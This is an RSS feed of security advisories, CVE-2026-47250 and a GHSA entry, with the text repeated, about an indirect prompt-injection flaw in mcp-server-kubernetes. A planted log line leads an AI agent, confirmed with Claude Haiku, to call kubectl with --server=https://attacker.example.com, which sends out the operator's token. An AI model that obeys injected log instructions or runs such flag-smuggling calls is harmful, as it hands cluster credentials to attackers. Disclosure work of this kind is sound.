https://vulnerability.circl.lu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Fri, 02 Oct 2026 18:56:58 +0000 https://vulnerability.circl.lu/vuln/cve-2026-47250 <p><strong>Affected:</strong> Flux159 mcp-server-kubernetes</p> <p>mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application&#39;s log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer &lt;token&gt; header from the operator&#39;s kubeconfig to the attacker&#39;s endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator&#39;s service account. This issue has been patched in version 3.7.0.</p> <p><strong>Affected:</strong> Flux159 mcp-server-kubernetes</p> <p>mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application&#39;s log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer &lt;token&gt; header from the operator&#39;s kubeconfig to the attacker&#39;s endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator&#39;s service account. This issue has been patched in version 3.7.0.</p> https://vulnerability.circl.lu/vuln/cve-2026-47250 https://vulnerability.circl.lu/vuln/ghsa-6mx4-4h42-r8vh <p><strong>Affected:</strong> npm: mcp-server-kubernetes</p> <p>### Summary The `kubectl_generic` tool in `mcp-server-kubernetes` passes user-supplied flags directly to kubectl without any allowlist, enabling a **privilege escalation attack** within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application&#39;s log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, `kubectl_generic` is called with `--server=https://attacker.example.com` and `--insecure-skip-tls-verify=true`. kubectl sends all API requests, including the `Authorization: Bearer &lt;token&gt;` header from the operator&#39;s kubeconfig to the attacker&#39;s endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator&#39;s service account.</p> <p>The token exfiltration mechanism was confirmed end-to-end with no cluster required. The full attack chain including indirect prompt injection via real pod logs was additionally confirmed using a live kind cluster and Claude Haiku (Anthropic API) as the agent.</p> <p>### Details ### Vulnerable code</p> <p>`src/tools/kubectl-generic.ts`, lines 103–118:</p> <p>```typescript if (input.flags) { for (const [key, value] of Object.entries(input.flags)) { if (value === true) { cmdArgs.push(`--${key}`)…</p> <p><strong>Affected:</strong> npm: mcp-server-kubernetes</p> <p>### Summary The `kubectl_generic` tool in `mcp-server-kubernetes` passes user-supplied flags directly to kubectl without any allowlist, enabling a **privilege escalation attack** within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application&#39;s log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, `kubectl_generic` is called with `--server=https://attacker.example.com` and `--insecure-skip-tls-verify=true`. kubectl sends all API requests, including the `Authorization: Bearer &lt;token&gt;` header from the operator&#39;s kubeconfig to the attacker&#39;s endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator&#39;s service account.</p> <p>The token exfiltration mechanism was confirmed end-to-end with no cluster required. The full attack chain including indirect prompt injection via real pod logs was additionally confirmed using a live kind cluster and Claude Haiku (Anthropic API) as the agent.</p> <p>### Details ### Vulnerable code</p> <p>`src/tools/kubectl-generic.ts`, lines 103–118:</p> <p>```typescript if (input.flags) { for (const [key, value] of Object.entries(input.flags)) { if (value === true) { cmdArgs.push(`--${key}`)…</p> https://vulnerability.circl.lu/vuln/ghsa-6mx4-4h42-r8vh